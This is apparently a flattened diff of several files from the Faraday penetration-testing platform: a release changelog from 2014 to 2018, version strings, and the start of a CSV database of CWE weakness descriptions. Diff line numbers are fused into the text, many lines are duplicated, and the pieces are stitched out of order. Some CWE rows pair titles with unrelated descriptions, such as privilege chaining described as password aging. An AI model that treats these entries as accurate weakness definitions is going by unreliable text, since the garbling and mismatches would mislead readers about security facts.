105 * Add new parameters --keep-old and --keep-new for faraday CLI
106 * Add new screenshot fplugin which takes a screenshot of the ip:ports of a given protocol
107 * Add fix for net sparker regular and cloud fix on severity
108 * Removed Chat feature (data is kept inside notes)
109 * Add CVSS score to reference field in Nessus plugin.
110 * Fix unicode characters bug in Netsparker plugin.
111 * Fix qualys plugin.
112 * Fix bugs with MACOS and GTK.
113
114 April 10, 2018:
115 ---
116 * Fix bug with tornado version 5.0 and GTK client.
117
118 November 17, 2017:
119 ---
120 * Fix bug with tags in models.
121
122 November 5, 2017:
123 ---
124 * Added "Last modified" and "Created" in Hosts view
125 * Fixed bug when trying to run Faraday as second process and closing the terminal (&!)
126 * Fixed bug where it asked for dependencies eternally when you have a different version than the one required
127 * Fixed small bug in the update_from_document method
128 * Fixed bug, makes the python library dependencies specific to the desired version
129 * Fixed GitHub language bar to reflect real code percentage
130 * Merge PR #195: Create gentoo_requirements_extras.txt (New Github wiki page)
131 * Merge PR #225: Add references to found vulnerabilities in nmap plugin
132 * New plugin: Netsparker cloud
133 * New plugin: Lynis (Winner of Faraday Challenge 2017)
134 * New Fplugin: changes the status of all vulnerabilities of an specific workspace to closed
135 * New Fplugin: combines the "create_interface" and "create_host" scripts into one (create_interface_and_host script)
136 * New Fplugin: import_csv , now you can import Faraday objects from a CSV
137
138 August 11, 2017:
139 ---
140 * Add check to the vuln creation modal for empty targets in the Web UI
141
142 August 9, 2017:
143 ---
144 No changes
145
146 August 7, 2017:
147 ---
148 * Updated Core Impact plugin to be compatible with 2016 version
149 * Improved loading of fields request and website in Burp Plugin
150 * Improved Nexpose Full plugin
151 * Improved Acunetix plugin to avoid conflicts and missing imported data, and to correctly parse URLs and resolutions
152
153 July 19, 2017:
154 ---
155 * Added the ability to select more than one target when creating a vuln in the Web UI
156 * Merged PR #182 - problems with zonatransfer.me
157 * Fixed bug in Download CSV of Status report with old versions of Firefox.
158 * Fixed formula injection vulnerability in export to CSV feature
159 * Fixed DOM-based XSS in the Top Services widget of the dashboard
160 * Fix in AppScan plugin.
161 * Fix HTML injection in Vulnerability template.
162 * Add new plugin: Junit XML
163 * Improved pagination in new vuln modal of status report
164 * Added "Policy Violations" field for Vulnerabilities
165
166 May 24, 2017:
167 ---
168 * Fixed bug when editing workspaces created in GTK
169 * Improved host search in the WEB UI
170 * Extended the config to support different searching engines in the WEB UI
171 * Check that client and server versions match when connecting
172 * Adds the 'v' and 'version' argument for both the server and the client
173 * Fixed "refresh" button in the Web UI
174 * Fix API on /ws/<workspace> with duration object None
175 * Added a CRUD for Credentials to the Web UI
176 * Bug fixes on the Burp Online Plugin
177 * Added a script to connect with Reposify
178 * Fixed Hostname import in Nessus Plugin
179 * Make plugin methods log() and devlog() work again
180 * Fixed bug in SQLMap plugin that made the client freeze
181 * Improved SQLMap plugin to support more options and to show errors in GTK log console
182 * Fixed bug when creating/updating Credentials
183 * Improve plugins usage of vulnweb URL fields
184 * Fixed order of Report Plugins in the GTK import list
185
186 March 17, 2017:
187 ---
188 * Added link to name column in Hosts list
189 * Created a requirements_extras.txt file to handle optional packages for specific features
190 * Fixed bug in SQLMap plugin that made the client freeze
191 * Fixed bug when creating/updating Credentials
192 * Fixed bug in the WEB UI - menu explanation bubbles were hidden behind inputs
193 * Fixed conflict resolution when the object was deleted from another client before resolving the conflict
194 * Improved fplugin
195 * Improved the installation process
196 * Improved SQLMap plugin to support --tables and --columns options
197 * Improved navigation in Web UI
198 * Merged PR #137 - CScan improvements: bug fixing, change plugin format and removed unnecessary file output
199 * Merged PR #173 - Hostnames: added hostnames to plugins
200 * Merged PR #105 - OSint: added the possibility of using a DB other than Shodan
201 * The Status Report now remembers the sorting column and order
202
203 February 8, 2017:
204 ---
205 * Fixed max amount of vulns pagination bug in Web UI
206 * Fixed Maltego plugin
207
208 January 30, 2017:
209 ---
210 * Added an activity feed panel in the Dashboard.
211 * Added AppScan plugin.
212 * Improved Burp's Online plugin. Added fields and removed HTML tags.
213 * Refactor remaining modules to be compatible with JS Strict Mode.
214 * Fixed bug that prevented GTK from closing when user clicked CANCEL on WS creation.
215 * Fixed size of Workspace creation dialog.
216 * New cwe databases: English and Spanish.
217 * Added Hping plugin.
218 * Enhancements to Wpscan plugin.
219
220 November 10, 2016:
221 ---
222 * New library to connect with Faraday Server.
223 * Fixed Fplugin, now it uses the new library to communicate with the Server.
224 * New field for Vulnerabilities: plugin creator and status.
225 * Refactor in Faraday Core and GTK Client.
226 * Bug fixing in Faraday Client and Server.
227 * Added Faraday news notifications in GTK and Web UI.
228 * New plugins: Dirb, Netdiscover, FruityWifi, Sentinel.
229 * Improvements on the WPscan plugin.
230 * Fixed Licenses search.
231 * Refactor Licenses module to be compatible with JS Strict Mode.
232
233 September 19, 2016:
234 ---
235 * Major refactor of Faraday Client: now we support massive workspaces (100.000+ hosts).
236 * Fixed more than 10 minor bugs on the Web UI.
237 * Fixed searching with spaces character on Web UI
238 * Updated URL shown when starting Faraday.
239 * Dashboard is now refreshed automatically every 60 seconds.
240 * Fixed Propecia plugin.
241 * New plugin: WPscan
242 * Host Sidebar on GTK now adds information more intelligently and will never block the application.
243 * Evidence screenshots in report generation is now bigger.
244 * Help menu in GTK with links to interesting links.
245 * Added Help section to WEB UI.
246
247 August 12, 2016:
248 ---
249 * Added Faraday Server
250 * Improved performance in web UI
251 * Added some basic APIs to Faraday Server
252 * Added licenses management section in web UI
253 * Totally removed QT3, GTK is now the only GUI
254 * Deprecated FileSystem databses: now Faraday works exclusively with Faraday Server and CouchDB
255 * Added a button to go to the Faraday Web directly from GTK
256 * Fixed bug when deleting objects from Faraday Web
257 * Fixed bug where icons where not copied to correct folder on initialization
258 * Fixed bug where current workspace wouldn't correspond to selected workspace on the sidebar on GTK
259 * Fixed bug in 'Refresh Workspace' button on GTK
260 * Fixed bug where Host Sidebar and Statusbar information wasn't correctly updated on GTK
261 * Fixed bug in service editing
262 * Fixed sqlmap plugin
263 * Fixed metapsloit plugin
264
265 Jul 1, 2016:
266 ---
267 * GTK is the default interface now.
268 * Added new plugin : Ndiff.
269 * Added new plugin : Netcat (Gnu netcat - OpenBSD netcat - Original netcat)
270 * Added button to edit your host in the GTK interface.
271 * Hosts sidebar now can be sorted by amout of vulnerabilities and OS.
272 * Changes in installation: install.sh now installs only GTK, QT is considered deprecated.
273 * Changes in installation: Faraday now runs with the last versions of Python modules.
274 * Changes in installation: fixed names of packages in setup_server.sh
275 * Usability: Enter key in GTK dialogs works as OK button
276 * Improved handling of lost connection to CouchDB database
277 * First steps towards deprecating Filesystem databases
278 * Fixed a bug when workspace was changed
279 * Fixed a bug with Import Reports Dialog in GTK GUI on OS X.
280 * Fixed a bug with Ctrl+Shift+C and Ctrl+Shift+V in some desktops managers.
281 * Fixed a bug with mapper of vulnerabilities.
282
283 Jun 13, 2016:
284 ---
285 * Added Import Report dialog to Faraday GTK
286 * Added a 'Loading workspace...' dialog to Faraday GTK
287 * Added host sidebar to Faraday GTK
288 * Added host information dialog to Faraday GTK with the full data about a host, its interfaces, services and vulnerabilities
289 * Added support for run faraday from other directories.
290 * Fixed log reapparing after being disabled if user created a new tab
291 * Fixed bug regarding exception handling in Faraday GTK
292 * Now Faraday GTK supports Ctrl+Shift+C / Ctrl+Shift+V to Copy/Paste
293 * Faraday will now not crash if you suddenly lose connection to your CouchDB
294
295 May 23, 2016:
296 ---
297 * Removed description from Hosts list in WEB UI
298 * Fixed sort in Hosts list in WEB UI
299 * Fixed ports sorting in Host view in WEB UI
300 * Added search link for OS in Hosts list in WEB UI
301 * Removed description from Services list in WEB UI
302 * Added version to Services list in WEB UI
303 * Modified false values in Hosts list in WEB UI
304 * Added search links in Services list in WEB UI
305 * Added scrollbar in Gtk Terminal.
306 * Added workspace status in Gtk interface
307 * Added conflict resolution support for the Gtk interface
308 * Added search entry for workspaces in Gtk
309 * Added support for 'exit' command inside Faraday's Gtk terminal
310 * Improved handling of uncaught exceptions in Gtk interface
311 * Improved text formatting in Gtk's log console
312 * Fixed several small bugs in Faraday GTK
313 * Added support for resize workspace bar.
314 * Added a quote for imported reports in WEB UI.
315 * Added support for a new type of report in Qualysguard plugin.
316 * Fixed bugs in plugins: Acunetix - Nmap - Nikto.
317
318 Apr 29, 2016:
319 ---
320 * Added Open services count to Hosts list in WEB UI
321 * Improved zsh integration
322 * Added GTK3 interface prototype
323 * Added plugin detection through report name
324 * Fixed an error in wcscan script
325 * Fixed nikto plugin
326 * Fixed openvas plugin
327
328 Apr 04, 2016
329 ---
330 * Added cli mode (see wiki for usage instructions)
331 * Support for multiple Faraday instances in the same host
332 * Fixed bug for editing web vulns in bulk
333 * Fixed bug for select all in web UI
334 * Fixed bugs in Qualys, ZAP, nikto, w3af, openVas plugins
335 * Added some new scripts and helpers
336
337
338 Feb 26, 2016:
339 ---
340 * Fixed bug in pip debian
341 * BugFix pip install.
342 * Checks additionals about dependencies in installation.
343 * Warning about a upgrade to experimental in debian installation.
344 * Fixed small bug in CSV importing
345 * Fixed styles for Status Report
346 * Fixed bug on Status Report filter after editing
347 * Added support for Kali Rolling Edition
348 * Notify user when the current Workspace doesn't exist
349 * Show all evidence files in Status Report
350 * Added script to remove all vulns with a specific severity value (parameterized)
351 * Fixed Arachni Plugin bugs
352 * Added new version for Maltego Plugin
353 * Added support for Mint 17
354
355 Dec 18, 2015:
356 ---
357 * Immunity Canvas plugin added
358 * Added Dig plugin
359 * Added Traceroute plugin
360 * Fixed bug in first run of Faraday with log path and API errors
361 * Added parametrization for port configuration on APIs
362 * Refactor Plugin Base to update active WS name in var
363 * Refactor Plugins to use current WS in temp filename under $HOME/.faraday/data. Affected Plugins:
364 - amap
365 - dnsmap
366 - nmap
367 - sslcheck
368 - wcscan
369 - webfuzzer
370 - nikto
371 * Fixed bug get_installed_distributions from handler exceptions
372 * Added Wiki information about running Faraday without configuring CouchDB
373 * Fixed Unicode bug in Nexpose-full Plugin
374 * Filter false-positives in Status Report
375 * Fixed bug that prevented the use of "reports" and "cwe" strings in Workspace names
376 * Added port to Service type target in new vuln modal
377 * Added new scripts for faraday plugin:
378 - /bin/delAllVulnsWith.py - delete all vulns that match a regex
379 - /bin/getAllbySrv.py - get all IP addresses that have defined open port
380 - /bin/getAllIpsNotServices.py added - get all IPs from targets without services
381 * Fixed bug null last workspace
382 * Fixed bugs in CSV export/import in QT
383
384 Oct 2, 2015:
385 ---
386 * Continuous Scanning Tool cscan added to ./scripts/cscan
387 * Fix for saving objects without parent
388 * Hosts and Services views now have pagination and search
389 * Updates version number on Faraday Start
390 * Visual fixes on Firefox
391 * Migrate graphs from D3.js to Chart.js
392 * Added Services columns to Status Report
393 * Added sections of Commercial versions
394 * Converted references to links in Status Report. Support for CVE, CWE, Exploit Database and Open Source Vulnerability Database
395 * Added Peepingtom, SSHdefaultscan and pasteAnalyzer plugins
396 * Fixed Debian install
397
398 Sep 10, 2015:
399 ---
400 * Adding filename path information of report imported in history command
401 * Remove old couchdb upgrade process
402 * Adding Iceweasel browser > 38.2.0 support
403 * Adding more navigability in differents GUI Web (Dashboard/Services/Views)
404 * Fixed bug copy clipboard offline (update path of ngClip dependeces)
405 * Added class to set colors to severities in new/edit vuln view
406 * Medusa, Hydra & Metasploit plug-in now added discovered weak credentials as a vulnerability
407 * Nmap plug-in applyies a severity depending on the result of a NSE script
408 * Fixed small bug for empty ease of resolution
409 * Adding more time to generation shells QT
410 * Added "Search in Shodan" links in different views (Status Report, Host View, Service View)
411 * Removed required of name field service bulk edition
412 * Added ng-disabled on Edit button if select more of 1 host on Host View WEB UI
413 * Refactored GUI Web:
414 Icon added for Modal Error
415 OS, Creator, Date for modal-services-by-host.html
416 Fixed typo in Host Edit, the popup message was wrong
417 First version for in estilos.css for clear mode
418 Also, added hover to grey boxes in the Dashboard.
419 * Added vulns count for Hosts in WEB UI
420 * Updated w3af plugin to support report version 1.7.6
421 * Ignored cwe database from updater and QT views
422 * Plugin for Nexpose XML Export 2.0
423 * Added masscan plugin (1.0.3)
424
425 Aug 19, 2015:
426 ---
427 * Exported CSV contains filters and columns from Status Report in WEB UI
428 * Vulnerability counter on Status Report in WEB UI
429 * Added quick vuln edit and delete in WEB UI
430 * Expanded Unit Tests for WEB UI
431 * XML Cleaner
432 * Kali 2.0 support
433 * Improve plugins running status log (Adding log information on report importing)
434 * Clean dev log on plugins
435 * w3af plugin refactoring
436 * Fix Debian 7/8.1 install support
437
438 Aug 05, 2015:
439 ---
440
441 * Added CWE database and integration with vulns creation
442 * Added ENTER shortcut on modals
443 * Progress bar for workspace in the dashboard
444 * Bug fixing in workspaces and status report components
445 * Unit testing for vulns, status report and workspaces components
446 * Debian 8.1 support
447
448
449 Jun 30, 2015:
450 ---
451
452 * Added hosts CRUD
453 * Added services CRUD
454 * Fix ubuntu 15.04 installation bug
455 * Small bug in burp plugin "Import new vulnerabilities" checkbox issue
456 * Added an interactive visualization to calculate the value of a Workspace
457 * Fixed several bugs in WEB UI
458 * Added a URL filter functionality to the status report, allowing searches by fields
459
460
461 Apr 17, 2015:
462 ---
463 * You can get the new version here:
464 * https://github.com/infobyte/faraday/archive/v1.0.10.tar.gz
465
466 Changes:
467
468 * Styles changes in WEB UI: fancy component selection, improved workspaces selection.
469
470 Bugfixes:
471 * Date on Workspace creation
472 * Tables in Firefox
473
474
475 Apr 7, 2015:
476 ---
477 You can get the new version here:
478 * https://github.com/infobyte/faraday/archive/v1.0.9.tar.gz
479
480 Changes:
481
482 * Performance improvement in the dashboard
483 * Fix bug OSX install
484 * Bug fixes
485
486
487 Mar 9, 2015:
488 ---
489 You can get the new version here:
490
491 * https://github.com/infobyte/faraday/archive/v1.0.8.tar.gz
492
493 Changes:
494
495 * WcScan script and plugin (scripts/wcscan.py)
496 * New Dashboard D3 with AngularJS
497 * Easy access to Vulnerability pages in the Status Report
498 * Easy access to the Host pages on the dashboard
499 * Creation and Editing capabilities for the Workspace from the UI Web
500 * Support installation for the latest version of Debian/Ubuntu/Kali
501 * sqlmap version 1.0-dev support updated
502 * API Status Check in both ZSH & QT GUI
503 * Field added for resolution of vulnerabilities classification with plug-ins updated to support the new function.
504 * Field added for rating "ease of resolution" for vulnerabilities
505 * Adjustments for Resolution field
506
507 * New Faraday plugin for Burp. Version 1.2
508 -Corrections for the vulnerabilities duplication for the burp plugin
509 -New tab section to configure the new Vulnerabilities downloads for Faraday
510
511 * Automated backup for couch database
512 * Ability to upload evidence of a vulnerability (as an attachment)
513 * Ability to assign Vulnerability Impact (confidentiality, integrity, availability).
514
515 Dec 12, 2014:
516 ---
517 You can get the new version here:
518
519 * https://github.com/infobyte/faraday/archive/v1.0.7.tar.gz
520
521 Changes:
522
523 * Improved Vulnerability Edition usability, selecting a vuln will load it's content.
524 * ZSH UI now is showing notifications.
525 * ZSH UI now is showing active workspace.
526 * Faraday now asks confirmation on exit, If you have pending conflicts to solve it will show the number of each.
527 * Vulnerability creation is now suported in the status report.
528 * Introducing SSLCheck, a tool for verify bugs in SSL/TLS Certificates on remote hosts. This is integrated with Faraday with a plugin.
529 * Shodan Plugin is now working with the new API.
530 * Some cosmetic changes in the status report.
531
532 Bugfixes:
533
534 * Sorting collumns in the Status Report now is working.
535 * Workspace icon is based on the type of the workspace.
536 * Opening the reports in QT UI now opens the active workspace.
537 * UI Web dates fixes, we were showing dates with a off-by-one error.
538 * Vulnerability edition was missing 'critical' severity.
539 * Objects merge bugfixing
540 * Metadata recursive save fix
541
542
543
544 Nov 7, 2014:
545 ---
546 You can get the new version here:
547
548 * https://github.com/infobyte/faraday/archive/v1.0.6.tar.gz
549
550 Changes:
551
552 * Status report modifications:
553 * Web vulnerability edition support.
554 * Variable columns in status report.
555 * New field called "Data" with extra information about a vulnerability.
556 * Bug fixes
557
558
559 Oct 17, 2014:
560 ----
561 * https://github.com/infobyte/faraday/commit/a81c6376ed47a2f7b501c8f48f2179eb7c5d58b9
562
563 Status report now have edition capabilities
564 Introducing batch vulnerability edition and deletion. Now you can edit your status report.
565
566 Lots of bug fixes
567
568 Ubuntu 14.04 support fixes
569 Mac support fixes
570
571
572 Sep 26, 2014:
573 ----
574 * https://github.com/infobyte/faraday/commit/440858ec8172193ce401bbf6a5f4b3052edb6edb
575
576 New Dashboard design with summarized information.
577
578 D3.js Fancy visualizations.
579
580 Vulnerability Status report.
581
582 Command run user/host identification.
583
584 Vulnerability Statistics.
585
586 Optimization Refactor.
587
588 Jun 06, 2014:
589 ----
590
591 * https://github.com/infobyte/faraday/commit/e616bdb44b089bfccf2405e51837eeae5d403b9f
592
593 Notifications: Updating objets on faraday now results in a beautiful
594 notification in the QT ui.
595
596 Performance: Enhacing performance when lots of workspaces are available.
597 We now load each workspace whe it's needed instead of loading ahead the
598 full workspace list.
599
600 UI: Workspace split, now you can select the workspace to visualize. We
601 are now using bootstrap.
602
603 API: New operations on the Rest API (this is just for the following UI
604 modifications). Vulnerability update and delete operations.
605
606 May 14, 2014:
607 ----
608
609 * https://github.com/infobyte/faraday/commit/9dfa9ad23dfe450ceb65d38074d55f07425aa90a
610
611 Improving (web interface, vulnerability classification)
612
613 Apr 30, 2014:
614 ----
615
616 * https://github.com/infobyte/faraday/commit/931865fd4bd9c5fbd1a237b52659b1c873e1fcbf
617
618 MacOS Support
619
620 Apr 04, 2014:
621 ----
622 * https://github.com/infobyte/faraday/commit/0fe6978fe41dc85cd8540c2f26074f3e3f57507f
623
624 We are proud to present two new features that will enhace the Faraday experience.
625 Taking feedback from our users we took account that each of them had particular needs from their consoles (completion, size, fonts, so on so forth) and their need to be able to know what commands where run during an engagement.
626
627 * A brand new ZSH based Terminal UI
628 * The Command Run execution history
0 IMPORTANT
1 ===========
2
3 Please be kind to remove all your pyc files before running faraday if you are updating this piece of software.
4 Make sure you run ```./faraday.py --update``` the first time after an update!
5
6
7 New features in the latest update
8 =====================================
77 New features in the latest update
88 =====================================
99
10
11 3.2 [October 17th, 2018]:
12 ---
13 * Added logical operator AND to status report search
14 * Restkit dependency removed.
15 * Improvement on manage.py change-password
16 * Add feature to show only unconfirmed vulns.
17 * Add ssl information to manage.py status-check
18 * Update wpscan plugin to support latest version.
19 * Allow workspace names starting with numbers.
20
1021 September 21, 2018:
22 ---
1123 * Fix bug: manage.py status_check
1224 * Fix bug: manage.py initdb
1325
0 3.1.1
0 3.2
0 cwe,name,description,resolution,exploitation,references
0 cwe,name,description,resolution,exploitation,references
11 CWE-119,Improper Restriction of Operations within the Bounds of a Memory Buffer (Type: Class),"The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
22 Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.
33 As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.",,high,"Writing Secure Code: Chapter 5, ""Public Enemy #1: The Buffer Overrun"" Page 127; Chapter 14, ""Prevent I18N Buffer Overruns"" Page 441
88 PaX: http://en.wikipedia.org/wiki/PaX
99 Understanding DEP as a mitigation technology part 1: http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx
1010 The Art of Software Security Assessment: Chapter 5, ""Memory Corruption"", Page 167.
11 The Art of Software Security Assessment: Chapter 5, ""Protection Mechanisms"", Page 189."
11 The Art of Software Security Assessment: Chapter 5, ""Protection Mechanisms"", Page 189."
1212 CWE-123,Write-what-where Condition (Type: Base),"Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
13 A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the ""classic"" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.",,high,"24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89"
13 A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the ""classic"" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.",,high,"24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89"
1414 CWE-129,Improper Validation of Array Index (Type: Base),"The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.
1515 This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.",,high,"Writing Secure Code: Chapter 5, ""Array Indexing Errors"" Page 144
1616 Top 25 Series - Rank 14 - Improper Validation of Array Index: http://blogs.sans.org/appsecstreetfighter/2010/03/12/top-25-series-rank-14-improper-validation-of-array-index/
1818 PaX: http://en.wikipedia.org/wiki/PaX
1919 Understanding DEP as a mitigation technology part 1: http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx
2020 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
21 24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89"
21 24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89"
2222 CWE-194,Unexpected Sign Extension (Type: Base),"The software performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.
2323 This can happen in signed and unsigned cases.",,high,"C Language Issues for Application Security: http://www.informit.com/articles/article.aspx?p=686170&seqNum=6
24 Integral Security: http://www.ddj.com/security/193501774"
24 Integral Security: http://www.ddj.com/security/193501774"
2525 CWE-20,Improper Input Validation (Type: Class),"The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.
2626 When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.",,high,"Input Validation with ESAPI - Very Important: http://manicode.blogspot.com/2008/08/input-validation-with-esapi.html
2727 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI
2828 Hacking Exposed Web Applications, Second Edition: Input Validation Attacks
2929 Input validation or output filtering, which is better?: http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html
3030 The importance of input validation: http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html
31 Writing Secure Code: Chapter 10, ""All Input Is Evil!"" Page 341"
31 Writing Secure Code: Chapter 10, ""All Input Is Evil!"" Page 341"
3232 CWE-200,Information Exposure (Type: Class),"An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.
3333 The information either
3434 is regarded as sensitive within the product's own functionality, such as a private message; or
3535 provides information about the product or its environment that could be useful in an attack but is normally not available to the attacker, such as the installation path of a product that is remotely accessible.
36 Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed.",,high,Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/
36 Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed.",,high,Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/
3737 CWE-209,Information Exposure Through an Error Message (Type: Base),"The software generates an error message that includes sensitive information about its environment, users, or associated data.
3838 The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of "".."" sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.",,high,"Information Leakage: http://www.webappsec.org/projects/threat/classes/information_leakage.shtml
3939 Secure Programming with Static Analysis: Section 9.2, page 326.
4141 24 Deadly Sins of Software Security: ""Sin 11: Failure to Handle Errors Correctly."" Page 183
4242 24 Deadly Sins of Software Security: ""Sin 12: Information Leakage."" Page 191
4343 Top 25 Series - Rank 16 - Information Exposure Through an Error Message: http://software-security.sans.org/blog/2010/03/17/top-25-series-rank-16-information-exposure-through-an-error-message
44 The Art of Software Security Assessment: Chapter 3, ""Overly Verbose Error Messages"", Page 75."
44 The Art of Software Security Assessment: Chapter 3, ""Overly Verbose Error Messages"", Page 75."
4545 CWE-234,Failure to Handle Missing Parameter (Type: Variant),"If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.
46 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,high,
46 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,high,
4747 CWE-242,Use of Inherently Dangerous Function (Type: Base),"The program calls a function that can never be guaranteed to work safely.
4848 Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The gets() function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to gets() and overflow the destination buffer. Similarly, the >> operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the >> operator and overflow the destination buffer.",,high,"Herb Schildt's C++ Programming Cookbook: Chapter 5. Working with I/O
49 Writing Secure Code: Chapter 5, ""gets and fgets"" Page 163"
49 Writing Secure Code: Chapter 5, ""gets and fgets"" Page 163"
5050 CWE-243,Creation of chroot Jail Without Changing Working Directory (Type: Variant),"The program uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.
51 Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.",,high,
51 Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.",,high,
5252 CWE-268,Privilege Chaining (Type: Base),"Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.
53 Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.",,high,Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
53 Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.",,high,Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
5454 CWE-271,Privilege Dropping / Lowering Errors (Type: Class),"The software does not drop privileges before passing control of a resource to an actor that does not have those privileges.
5555 In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.",,high,"24 Deadly Sins of Software Security: ""Sin 16: Executing Code With Too Much Privilege."" Page 243
56 The Art of Software Security Assessment: Chapter 9, ""Dropping Privileges Permanently"", Page 479."
56 The Art of Software Security Assessment: Chapter 9, ""Dropping Privileges Permanently"", Page 479."
5757 CWE-285,Improper Authorization (Type: Class),"The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
5858 Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
5959 When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.",,high,"Role Based Access Control and Role Based Security: http://csrc.nist.gov/groups/SNS/rbac/
6262 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI
6363 Authentication using JAAS: http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html
6464 The Art of Software Security Assessment: Chapter 2, ""Common Vulnerabilities of Authorization"", Page 39.
65 The Art of Software Security Assessment: Chapter 11, ""ACL Inheritance"", Page 649."
65 The Art of Software Security Assessment: Chapter 11, ""ACL Inheritance"", Page 649."
6666 CWE-291,Reliance on IP Address for Authentication (Type: Variant),"The software uses an IP address for authentication.
67 IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.",,high,
67 IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.",,high,
6868 CWE-292,DEPRECATED (Duplicate): Trusting Self-reported DNS Name (Type: Variant),"This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.
